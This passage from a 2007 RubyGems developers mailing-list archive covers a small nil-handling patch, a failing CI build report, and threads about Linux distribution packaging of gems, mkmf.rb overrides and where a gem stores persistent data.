nil:NilClass # Fix: --- user_interaction.rb.orig 2007-01-19 16:45:34.420481258 -0500 +++ user_interaction.rb 2007-01-19 16:44:33.163111573 -0500 @@ -97,8 +97,13 @@ end @outs.print "> " @outs.flush - result = @ins.gets.strip.to_i - 1 - return list[result], result + result = @ins.gets + if result + result = result.strip.to_i - 1 + return list[result], result + else + return nil, nil + end end # Ask a question. Returns a true for yes, false for no. -- Jos Backus jos at catnook.com From drbrain at segment7.net Fri Jan 19 19:50:18 2007 From: drbrain at segment7.net (Eric Hodel) Date: Fri, 19 Jan 2007 16:50:18 -0800 Subject: [Rubygems-developers] `gem outdated' ignores platform In-Reply-To: <20070119214906.GA20813@lizzy.catnook.local> References: <20070119214906.GA20813@lizzy.catnook.local> Message-ID: <6CB39F8F-E512-4391-84B3-E752D2A81114@segment7.net> On Jan 19, 2007, at 13:49, Jos Backus wrote: > Fix: Please attach to this feature request so it doesn't get lost. http://rubyforge.org/tracker/index.php? func=detail&aid=7672&group_id=126&atid=578 -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From jos at catnook.com Fri Jan 19 19:58:09 2007 From: jos at catnook.com (Jos Backus) Date: Fri, 19 Jan 2007 16:58:09 -0800 Subject: [Rubygems-developers] `gem outdated' ignores platform In-Reply-To: <6CB39F8F-E512-4391-84B3-E752D2A81114@segment7.net> References: <20070119214906.GA20813@lizzy.catnook.local> <6CB39F8F-E512-4391-84B3-E752D2A81114@segment7.net> Message-ID: <20070120005831.GD20813@lizzy.catnook.local> On Fri, Jan 19, 2007 at 04:50:18PM -0800, Eric Hodel wrote: > On Jan 19, 2007, at 13:49, Jos Backus wrote: > > >Fix: > > Please attach to this feature request so it doesn't get lost. > > http://rubyforge.org/tracker/index.php? > func=detail&aid=7672&group_id=126&atid=578 I added the description to the bug, hope that's what you wanted. The code fix is for a different (but minor) problem. Thanks, -- Jos Backus jos at catnook.com From drbrain at segment7.net Fri Jan 19 20:06:42 2007 From: drbrain at segment7.net (Eric Hodel) Date: Fri, 19 Jan 2007 17:06:42 -0800 Subject: [Rubygems-developers] `gem outdated' ignores platform In-Reply-To: <20070120005831.GD20813@lizzy.catnook.local> References: <20070119214906.GA20813@lizzy.catnook.local> <6CB39F8F-E512-4391-84B3-E752D2A81114@segment7.net> <20070120005831.GD20813@lizzy.catnook.local> Message-ID: On Jan 19, 2007, at 16:58, Jos Backus wrote: > On Fri, Jan 19, 2007 at 04:50:18PM -0800, Eric Hodel wrote: >> On Jan 19, 2007, at 13:49, Jos Backus wrote: >> >>> Fix: >> >> Please attach to this feature request so it doesn't get lost. >> >> http://rubyforge.org/tracker/index.php? >> func=detail&aid=7672&group_id=126&atid=578 > > I added the description to the bug, hope that's what you wanted. > The code fix > is for a different (but minor) problem. Ah! new issue w/patch. Can you add it to the patch tracker? http://rubyforge.org/tracker/?func=add&group_id=126&atid=577 I've been skimming too much :P -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From jos at catnook.com Fri Jan 19 21:54:55 2007 From: jos at catnook.com (Jos Backus) Date: Fri, 19 Jan 2007 18:53:55 -0801 Subject: [Rubygems-developers] `gem outdated' ignores platform In-Reply-To: References: <20070119214906.GA20813@lizzy.catnook.local> <6CB39F8F-E512-4391-84B3-E752D2A81114@segment7.net> <20070120005831.GD20813@lizzy.catnook.local> Message-ID: <20070120025417.GA24003@lizzy.catnook.local> On Fri, Jan 19, 2007 at 05:06:42PM -0800, Eric Hodel wrote: > > On Jan 19, 2007, at 16:58, Jos Backus wrote: > > > On Fri, Jan 19, 2007 at 04:50:18PM -0800, Eric Hodel wrote: > >> On Jan 19, 2007, at 13:49, Jos Backus wrote: > >> > >>> Fix: > >> > >> Please attach to this feature request so it doesn't get lost. > >> > >> http://rubyforge.org/tracker/index.php? > >> func=detail&aid=7672&group_id=126&atid=578 > > > > I added the description to the bug, hope that's what you wanted. > > The code fix > > is for a different (but minor) problem. > > Ah! new issue w/patch. Can you add it to the patch tracker? > > http://rubyforge.org/tracker/?func=add&group_id=126&atid=577 Done! > I've been skimming too much :P Heh. -- Jos Backus jos at catnook.com From anatol.pomozov at gmail.com Sun Jan 21 00:01:55 2007 From: anatol.pomozov at gmail.com (Cerberus) Date: Sun, 21 Jan 2007 08:01:55 +0300 Subject: [Rubygems-developers] [rubygems] Build still broken and getting worse (#1203) Message-ID: <45b2f3c37918_c4417418a41b9@ubuntu.tmail> ------------------------------------------------------------------------ r1203 | drbrain | 2007-01-20 11:18:35 +0300 | 1 line Changed paths: M /trunk/ChangeLog M /trunk/lib/rubygems/source_info_cache.rb Read the source_cache in binary mode for mswin ------------------------------------------------------------------------ (in C:/Documents and Settings/anatol/.cerberus/work/rubygems/sources) require_gem is obsolete. Use gem instead. Loaded suite c:/PROGRA~1/ruby/lib/ruby/gems/1.8/gems/rake-0.7.1/lib/rake/rake_test_loader Started .........................................................................F....F.................................FF...FF..F..................EE..............................EFE......................................F................................................................................. Finished in 55.766 seconds. 1) Failure: test_class_build(TestGemExtRakeBuilder) [./test/test_gem_ext_rake_builder.rb:35]: <["rake RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_368/prefix RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_368/prefix extension", "(in C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_368/ext)\n"]> expected but was <["rake RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_368/prefix RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_368/prefix extension", "(in C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_368/ext)\nrequire_gem is obsolete. Use gem instead.\n"]>. 2) Failure: test_execute(TestGemOutdatedCommand) [./test/test_gem_outdated_command.rb:32]: <"foo (0.2 < 2.0)\n"> expected but was <"">. 3) Failure: test_write_cache_user_from_scratch(TestGemSourceInfoCache) [./test/test_gem_source_info_cache.rb:181]: <[["key", "new"]]> expected but was <[]>. 4) Failure: test_write_cache_user_no_directory(TestGemSourceInfoCache) [./test/test_gem_source_info_cache.rb:192]: <[["key", "new"]]> expected but was <[]>. 5) Failure: test_execute(TestGemSourcesCommand) [./test/test_gem_sources_command.rb:23]: <"*** CURRENT SOURCES ***\n\nhttp://gems.example.com\n"> expected but was <"*** CURRENT SOURCES ***\n\n">. 6) Failure: test_execute_add(TestGemSourcesCommand) [./test/test_gem_sources_command.rb:53]: <["http://beta-gems.example.com", "http://gems.example.com"]> expected but was <[]>. 7) Failure: test_execute_remove(TestGemSourcesCommand) [./test/test_gem_sources_command.rb:122]: <"http://gems.example.com removed from sources\n"> expected but was <"source http://gems.example.com not present in cache\n">. 8) Error: test_install_bad_gem(TestInstaller): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_368/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 9) Error: test_install_with_message(TestInstaller): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_368/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 10) Error: test_find_gem_to_install(TestRemoteInstaller): Gem::GemNotFoundException: Could not find gem_one (> 0.0.0) in any repository ./lib/rubygems/remote_installer.rb:104:in `specs_n_sources_matching' ./lib/rubygems/remote_installer.rb:114:in `find_gem_to_install' ./test/test_remote_installer.rb:77:in `test_find_gem_to_install' 11) Failure: test_source_index_hash(TestRemoteInstaller) [./test/test_remote_installer.rb:85]: <1> expected but was <0>. 12) Error: test_specs_n_sources_matching(TestRemoteInstaller): Gem::GemNotFoundException: Could not find gem_one (> 0.0.0) in any repository ./lib/rubygems/remote_installer.rb:104:in `specs_n_sources_matching' ./test/test_remote_installer.rb:93:in `test_specs_n_sources_matching' 13) Failure: test_outdated(TestSourceIndex) [./test/test_source_index.rb:127]: <["gem_one"]> expected but was <[]>. 295 tests, 1019 assertions, 9 failures, 4 errors rake aborted! Command failed with status (1): [c:/PROGRA~1/ruby/bin/ruby -w -Ilib "c:/PRO...] (See full trace by running task with --trace) -- Cerberus 0.3.3, http://cerberus.rubyforge.org/ From anthonyeden at gmail.com Sun Jan 21 09:30:51 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Sun, 21 Jan 2007 09:30:51 -0500 Subject: [Rubygems-developers] Gemtacular With Tags and Comments Message-ID: I've just deployed the latest version of gemtacular, which now includes tags (thanks to Florin T.Patrascu) and comments (thanks to Seth Ladd). I'm still waiting on the promised beautification. ;-) Chad, let's figure out where the current docs from rubygems.org are going to go. Are you planning on moving the existing bookshelf app to a third-level domain and just linking to it from the gemtacular app or did you have something else in mind? V/r Anthony Eden -- Cell: 808 782-5046 Current Location: Melbourne, FL From pclouds at gentoo.org Sun Jan 21 10:54:06 2007 From: pclouds at gentoo.org (=?UTF-8?Q?Nguy=E1=BB=85n_Th=C3=A1i_Ng=E1=BB=8Dc_Duy?=) Date: Sun, 21 Jan 2007 22:54:06 +0700 Subject: [Rubygems-developers] rubygems' cooperation with linux distributions? Message-ID: Hi, I am a Gentoo Linux developer. I sent a mail to this list long ago about modifying rubygems for better cooperation between rubygems and Gentoo but it seemed to be ignored. Maybe I was so bad at expressing things. I hope I am not so bad this time. If it is, then it is really not my intention, English is not my first language. rubygems' related problems happened again in Gentoo land [1]. In short, I need to intervene gem building process to patch ruby extension building. Currently there is no non-hacky way to patch a gem package as far as I know. If you know some ways, please kindly teach me. And I would like to know whether rubygems is going to be more distro-friendly (well, I mean Gentoo-friendly, although I do know about Deb/RPM packaging so I am pretty sure they will face the same problems Gentoo have). If it does, how is the plan? Best regards, [1] https://bugs.gentoo.org/show_bug.cgi?id=159922 -- Duy From darix at web.de Sun Jan 21 11:31:11 2007 From: darix at web.de (Marcus Rueckert) Date: Sun, 21 Jan 2007 17:31:11 +0100 Subject: [Rubygems-developers] rubygems' cooperation with linux distributions? In-Reply-To: References: Message-ID: <20070121163111.GQ24702@pixel.global-banlist.de> On 2007-01-21 22:54:06 +0700, Nguy?n Th?i Ng?c Duy wrote: > I am a Gentoo Linux developer. I sent a mail to this list long ago > about modifying rubygems for better cooperation between rubygems and > Gentoo but it seemed to be ignored. Maybe I was so bad at expressing > things. I hope I am not so bad this time. If it is, then it is really > not my intention, English is not my first language. > > rubygems' related problems happened again in Gentoo land [1]. In > short, I need to intervene gem building process to patch ruby > extension building. Currently there is no non-hacky way to patch a gem > package as far as I know. If you know some ways, please kindly teach > me. > > And I would like to know whether rubygems is going to be more > distro-friendly (well, I mean Gentoo-friendly, although I do know > about Deb/RPM packaging so I am pretty sure they will face the same > problems Gentoo have). If it does, how is the plan? > > Best regards, > > [1] https://bugs.gentoo.org/show_bug.cgi?id=159922 i dont see how this bug is something rubygems related at all. reemerging ruby is the way to go. for rpm packaging: so far i applied patches after gem install. for native extensions of course it means to rerun "make". luckily that never happened so far. more import for me would be a hook in rubygems to check if the package was installed the gems way through another packaging system. so i can control how gem uninstall behaves when the package is installed through an rpm. darix -- openSUSE - SUSE Linux is my linux openSUSE is good for you www.opensuse.org From drnicwilliams at gmail.com Sun Jan 21 16:08:40 2007 From: drnicwilliams at gmail.com (Nic Williams) Date: Mon, 22 Jan 2007 07:08:40 +1000 Subject: [Rubygems-developers] Gemtacular With Tags and Comments In-Reply-To: References: Message-ID: <44b555bb0701211308j433a9c6kfab28a9183b7f772@mail.gmail.com> Anthony, will you be releasing the JS/XML extension for the gems controller? Cheers Nic On 1/22/07, Anthony Eden wrote: > > I've just deployed the latest version of gemtacular, which now > includes tags (thanks to Florin T.Patrascu) and comments (thanks to > Seth Ladd). > > I'm still waiting on the promised beautification. ;-) > > Chad, let's figure out where the current docs from rubygems.org are > going to go. Are you planning on moving the existing bookshelf app to > a third-level domain and just linking to it from the gemtacular app or > did you have something else in mind? > > V/r > Anthony Eden > > -- > Cell: 808 782-5046 > Current Location: Melbourne, FL > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers > -- Dr Nic Williams http://www.drnicwilliams.com - Ruby/Rails blog skype: nicwilliams (p) +61 7 3102 3237 (finds me anywhere in the world) (f) +61 7 3305 7572 (sends fax to my email) -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070122/5f626e65/attachment.html From anthonyeden at gmail.com Sun Jan 21 17:35:59 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Sun, 21 Jan 2007 17:35:59 -0500 Subject: [Rubygems-developers] Gemtacular With Tags and Comments In-Reply-To: <44b555bb0701211308j433a9c6kfab28a9183b7f772@mail.gmail.com> References: <44b555bb0701211308j433a9c6kfab28a9183b7f772@mail.gmail.com> Message-ID: It's actually in there, but for some reason it isn't responding to alternate formats, nor is it raising an error. I need to troubleshoot more. V/r Anthony On 1/21/07, Nic Williams wrote: > Anthony, will you be releasing the JS/XML extension for the gems controller? > > Cheers > Nic > > > On 1/22/07, Anthony Eden < anthonyeden at gmail.com> wrote: > > > > I've just deployed the latest version of gemtacular, which now > > includes tags (thanks to Florin T.Patrascu) and comments (thanks to > > Seth Ladd). > > > > I'm still waiting on the promised beautification. ;-) > > > > Chad, let's figure out where the current docs from rubygems.org are > > going to go. Are you planning on moving the existing bookshelf app to > > a third-level domain and just linking to it from the gemtacular app or > > did you have something else in mind? > > > > V/r > > Anthony Eden > > > > -- > > Cell: 808 782-5046 > > Current Location: Melbourne, FL > > _______________________________________________ > > Rubygems-developers mailing list > > Rubygems-developers at rubyforge.org > > http://rubyforge.org/mailman/listinfo/rubygems-developers > > > > > > -- > Dr Nic Williams > http://www.drnicwilliams.com - Ruby/Rails blog > skype: nicwilliams > (p) +61 7 3102 3237 (finds me anywhere in the world) > (f) +61 7 3305 7572 (sends fax to my email) > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers > > -- Cell: 808 782-5046 Current Location: Melbourne, FL From jim at weirichhouse.org Sun Jan 21 18:34:48 2007 From: jim at weirichhouse.org (Jim Weirich) Date: Sun, 21 Jan 2007 18:34:48 -0500 Subject: [Rubygems-developers] rubygems' cooperation with linux distributions? In-Reply-To: References: Message-ID: <45B3F898.5040804@weirichhouse.org> Nguy?n Th?i Ng?c Duy wrote: > rubygems' related problems happened again in Gentoo land [1]. In > short, I need to intervene gem building process to patch ruby > extension building. Currently there is no non-hacky way to patch a gem > package as far as I know. If you know some ways, please kindly teach > me. Hi. Thanks for posting on this list. However, I'm not sure I'm sure what you are asking for. The location of the install program is not specified in RubyGems in any way. Are you asking for a easy RubyGems way of fixing this more general problem. If so, perhaps you could be more specific on what you would like to see changed. > And I would like to know whether rubygems is going to be more > distro-friendly (well, I mean Gentoo-friendly, although I do know > about Deb/RPM packaging so I am pretty sure they will face the same > problems Gentoo have). If it does, how is the plan? We have made several changes in the past that were suggested by distro-maintainers, and would like to continue to work with repackagers to make their job easy. Feel free to make suggestions for improvements. -- Jim Weirich From pclouds at gentoo.org Sun Jan 21 20:04:30 2007 From: pclouds at gentoo.org (=?UTF-8?Q?Nguy=E1=BB=85n_Th=C3=A1i_Ng=E1=BB=8Dc_Duy?=) Date: Mon, 22 Jan 2007 08:04:30 +0700 Subject: [Rubygems-developers] rubygems' cooperation with linux distributions? In-Reply-To: <20070121163111.GQ24702@pixel.global-banlist.de> References: <20070121163111.GQ24702@pixel.global-banlist.de> Message-ID: On 1/21/07, Marcus Rueckert wrote: > On 2007-01-21 22:54:06 +0700, Nguy?n Th?i Ng?c Duy wrote: > > [1] https://bugs.gentoo.org/show_bug.cgi?id=159922 > > i dont see how this bug is something rubygems related at all. reemerging > ruby is the way to go. Well for Gentoo I do not think that is the way to go. You may waste your CPU power to reemerge ruby just for changing one line in rbconfig.rb. I would prefer gem packages can rerun make with a modified makefile. (It may be not the best way though) > for rpm packaging: > so far i applied patches after gem install. for native extensions of > course it means to rerun "make". luckily that never happened so far. That is what I aim to, patching makefile and rerun make instead of reemerge ruby. > more import for me would be a hook in rubygems to check if the package > was installed the gems way through another packaging system. so i can > control how gem uninstall behaves when the package is installed through > an rpm. Yes Gentoo may have that problem too. > > darix > > -- > openSUSE - SUSE Linux is my linux > openSUSE is good for you > www.opensuse.org > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers -- Duy From drbrain at segment7.net Sun Jan 21 21:30:36 2007 From: drbrain at segment7.net (Eric Hodel) Date: Sun, 21 Jan 2007 18:30:36 -0800 Subject: [Rubygems-developers] rubygems' cooperation with linux distributions? In-Reply-To: References: <20070121163111.GQ24702@pixel.global-banlist.de> Message-ID: On Jan 21, 2007, at 17:04, Nguy?n Th?i Ng?c Duy wrote: > On 1/21/07, Marcus Rueckert wrote: >> On 2007-01-21 22:54:06 +0700, Nguy?n Th?i Ng?c Duy wrote: >>> [1] https://bugs.gentoo.org/show_bug.cgi?id=159922 >> >> i dont see how this bug is something rubygems related at all. >> reemerging >> ruby is the way to go. > > Well for Gentoo I do not think that is the way to go. You may waste > your CPU power to reemerge ruby just for changing one line in > rbconfig.rb. I would prefer gem packages can rerun make with a > modified makefile. (It may be not the best way though) mkmf.rb (which is required by extconf.rb) is the place to look to see if you can override Config::CONFIG['INSTALL'], perhaps with an environment variable. It should get passed straight from the gem install command down to the extconf.rb in a subshell. If not, please file a bug on our tracker. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From pclouds at gentoo.org Mon Jan 22 02:12:39 2007 From: pclouds at gentoo.org (=?UTF-8?Q?Nguy=E1=BB=85n_Th=C3=A1i_Ng=E1=BB=8Dc_Duy?=) Date: Mon, 22 Jan 2007 14:12:39 +0700 Subject: [Rubygems-developers] rubygems' cooperation with linux distributions? In-Reply-To: <45B3F898.5040804@weirichhouse.org> References: <45B3F898.5040804@weirichhouse.org> Message-ID: On 1/22/07, Jim Weirich wrote: > Nguy?n Th?i Ng?c Duy wrote: > > rubygems' related problems happened again in Gentoo land [1]. In > > short, I need to intervene gem building process to patch ruby > > extension building. Currently there is no non-hacky way to patch a gem > > package as far as I know. If you know some ways, please kindly teach > > me. > > Hi. Thanks for posting on this list. However, I'm not sure I'm sure > what you are asking for. The location of the install program is not > specified in RubyGems in any way. Are you asking for a easy RubyGems > way of fixing this more general problem. If so, perhaps you could be > more specific on what you would like to see changed. My intention for fixing that particular bug is to patch Makefile generated by extconf.rb and friends. But I found no way to do that because rubygems unpacks, compiles and installs in one step. If I can hook into Gem::Installer#install, then I can patch Makefile. The ideal solution for Gentoo is being able to call Gem::Installer#extract_files, #generate_bin, #build_extensions, #build_support_directories separately. Gentoo build process is divided into several bash functions, namely src_unpack, src_compile, src_test, pkg_install (called in that order). So src_unpack would run Gem::Installer#install from beginning to extract_files line. src_compile will run the rest of Gem::Installer#install, src_test run tests if necessary, and pkg_install may do some post-processing. -- Duy From pclouds at gentoo.org Mon Jan 22 02:13:32 2007 From: pclouds at gentoo.org (=?UTF-8?Q?Nguy=E1=BB=85n_Th=C3=A1i_Ng=E1=BB=8Dc_Duy?=) Date: Mon, 22 Jan 2007 14:13:32 +0700 Subject: [Rubygems-developers] rubygems' cooperation with linux distributions? In-Reply-To: References: <20070121163111.GQ24702@pixel.global-banlist.de> Message-ID: On 1/22/07, Eric Hodel wrote: > > Well for Gentoo I do not think that is the way to go. You may waste > > your CPU power to reemerge ruby just for changing one line in > > rbconfig.rb. I would prefer gem packages can rerun make with a > > modified makefile. (It may be not the best way though) > > mkmf.rb (which is required by extconf.rb) is the place to look to see > if you can override Config::CONFIG['INSTALL'], perhaps with an > environment variable. It should get passed straight from the gem > install command down to the extconf.rb in a subshell. If not, please > file a bug on our tracker. Thank you. I am currently at work though. I will try that later. -- Duy From pclouds at gentoo.org Mon Jan 22 10:09:38 2007 From: pclouds at gentoo.org (=?UTF-8?Q?Nguy=E1=BB=85n_Th=C3=A1i_Ng=E1=BB=8Dc_Duy?=) Date: Mon, 22 Jan 2007 22:09:38 +0700 Subject: [Rubygems-developers] rubygems' cooperation with linux distributions? In-Reply-To: References: <20070121163111.GQ24702@pixel.global-banlist.de> Message-ID: On 1/22/07, Eric Hodel wrote: > mkmf.rb (which is required by extconf.rb) is the place to look to see > if you can override Config::CONFIG['INSTALL'], perhaps with an > environment variable. It should get passed straight from the gem > install command down to the extconf.rb in a subshell. If not, please > file a bug on our tracker. > I have looked at it again. Environment variables do not have any effect on it. Patching mkmf.rb is not an option to me because then I have to rebuild ruby. However I think maybe I can make a wrapper for mkmf.rb. Thanks for the idea. Anyway I still want ability to patch a gem package :) (for more difficult cases, I can search bugs.gentoo.org for those if you want examples) Cheers, -- Duy From darix at web.de Mon Jan 22 11:04:45 2007 From: darix at web.de (Marcus Rueckert) Date: Mon, 22 Jan 2007 17:04:45 +0100 Subject: [Rubygems-developers] rubygems' cooperation with linux distributions? In-Reply-To: References: <20070121163111.GQ24702@pixel.global-banlist.de> Message-ID: <20070122160445.GS24702@pixel.global-banlist.de> On 2007-01-22 22:09:38 +0700, Nguy?n Th?i Ng?c Duy wrote: > On 1/22/07, Eric Hodel wrote: > > mkmf.rb (which is required by extconf.rb) is the place to look to see > > if you can override Config::CONFIG['INSTALL'], perhaps with an > > environment variable. It should get passed straight from the gem > > install command down to the extconf.rb in a subshell. If not, please > > file a bug on our tracker. > > > > I have looked at it again. Environment variables do not have any > effect on it. Patching mkmf.rb is not an option to me because then I > have to rebuild ruby. However I think maybe I can make a wrapper for > mkmf.rb. Thanks for the idea. > > Anyway I still want ability to patch a gem package :) (for more > difficult cases, I can search bugs.gentoo.org for those if you want > examples) it might be just me ... but fixing the broken mkmf.rb will help with building normal ruby extensions aswell. gem is just another case. do you really prefer patching every single ruby extension instead of one rebuild of the ruby base package? it might be just me ... but that feels stupid. darix -- openSUSE - SUSE Linux is my linux openSUSE is good for you www.opensuse.org From chad at chadfowler.com Mon Jan 22 11:54:22 2007 From: chad at chadfowler.com (Chad Fowler) Date: Mon, 22 Jan 2007 11:54:22 -0500 Subject: [Rubygems-developers] rubygems' cooperation with linux distributions? In-Reply-To: <20070122160445.GS24702@pixel.global-banlist.de> References: <20070121163111.GQ24702@pixel.global-banlist.de> <20070122160445.GS24702@pixel.global-banlist.de> Message-ID: On 1/22/07, Marcus Rueckert wrote: > On 2007-01-22 22:09:38 +0700, Nguy?n Th?i Ng?c Duy wrote: > > On 1/22/07, Eric Hodel wrote: > > > mkmf.rb (which is required by extconf.rb) is the place to look to see > > > if you can override Config::CONFIG['INSTALL'], perhaps with an > > > environment variable. It should get passed straight from the gem > > > install command down to the extconf.rb in a subshell. If not, please > > > file a bug on our tracker. > > > > > > > I have looked at it again. Environment variables do not have any > > effect on it. Patching mkmf.rb is not an option to me because then I > > have to rebuild ruby. However I think maybe I can make a wrapper for > > mkmf.rb. Thanks for the idea. > > > > Anyway I still want ability to patch a gem package :) (for more > > difficult cases, I can search bugs.gentoo.org for those if you want > > examples) > > it might be just me ... but fixing the broken mkmf.rb will help with > building normal ruby extensions aswell. gem is just another case. > > do you really prefer patching every single ruby extension instead of one > rebuild of the ruby base package? > > it might be just me ... but that feels stupid. > I agree with your take on this. Perhaps providing a hook to patch gems is a good thing, but to me this particular problem is a clear cut case of a potential mkmf enhancement---not a patch for gentoo but a patch to be contributed to mkmf in the standard Ruby distribution. As a side note, it would be great to see mkmf chucked out altogether and replace by Rake + mkrf. Maybe that's just me, though. Chad From jeremystellsmith at gmail.com Mon Jan 22 11:59:41 2007 From: jeremystellsmith at gmail.com (Jeremy Stell-Smith) Date: Mon, 22 Jan 2007 10:59:41 -0600 Subject: [Rubygems-developers] where does persistent data go in a gem? Message-ID: I have a little continuous integration server that I want to release as a gem. It's a rails app that looks at a folder instead of a db. It all works rather well, except I'm not sure where this folder should live. Assumptions right now are : 1) the application runs in it's entirety from it's gem home 2) there's a "cruise" executable that is accessibly from anywhere to do "cruise start", "cruise add_project", etc 3) it prompts the user for where to put place it's build directory on it's first install and subsequent updates. 1 & 2 make sense, but 3 kind of sucks. a user could care less where this stuff lives, and even if they do, they want to specify it once, not on every install, what if they don't remember where it lives? I guess this is a problem others have faced and solved. What's the conventional wisdom about where to put these types of things? Jeremy -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070122/76ab6974/attachment-0001.html From hgs at dmu.ac.uk Mon Jan 22 12:08:16 2007 From: hgs at dmu.ac.uk (Hugh Sasse) Date: Mon, 22 Jan 2007 17:08:16 +0000 (WET) Subject: [Rubygems-developers] rubygems' cooperation with linux distributions? In-Reply-To: References: <20070121163111.GQ24702@pixel.global-banlist.de> <20070122160445.GS24702@pixel.global-banlist.de> Message-ID: On Mon, 22 Jan 2007, Chad Fowler wrote: > As a side note, it would be great to see mkmf chucked out altogether > and replace by Rake + mkrf. Maybe that's just me, though. If Rake is an integral part of Ruby that would be good, but I am somewhat fearful of external dependencies. But there is a tension here: we have a limited amount of room left in "version number space", so this will constrain how these packages can be developed if they are inside Ruby. Hugh From darix at web.de Mon Jan 22 13:02:30 2007 From: darix at web.de (Marcus Rueckert) Date: Mon, 22 Jan 2007 19:02:30 +0100 Subject: [Rubygems-developers] undefined method refresh for Hash Message-ID: <20070122180230.GA24161@pixel.global-banlist.de> hi, on irc i saw a few users with the following problem: [[[ 22:53:20 < nertzy> Does anyone here know the proper way to fix the "undefined method `refresh' for #" error with the new rubygems ]]] whats the proposed solution for this? any ideas when it happens? darix -- openSUSE - SUSE Linux is my linux openSUSE is good for you www.opensuse.org From thewoolleyman at gmail.com Mon Jan 22 13:19:37 2007 From: thewoolleyman at gmail.com (Chad Woolley) Date: Mon, 22 Jan 2007 11:19:37 -0700 Subject: [Rubygems-developers] where does persistent data go in a gem? In-Reply-To: References: Message-ID: In general, I'd say to create a directory in the user's home directory (possibly starting with a dot and hidden, or maybe not). The user's home dir and /tmp are really the only places you can count on having write access, and /tmp is out because it's likely to go away on reboot. Make sure it's descriptively named (probably containing your gem name), so the user knows what it is when they see a new directory they don't recognize in their home dir. -- Chad On 1/22/07, Jeremy Stell-Smith wrote: > I have a little continuous integration server that I want to release as a > gem. It's a rails app that looks at a folder instead of a db. It all works > rather well, except I'm not sure where this folder should live. > > Assumptions right now are : > 1) the application runs in it's entirety from it's gem home > 2) there's a "cruise" executable that is accessibly from anywhere to do > "cruise start", "cruise add_project", etc > 3) it prompts the user for where to put place it's build directory on it's > first install and subsequent updates. > > 1 & 2 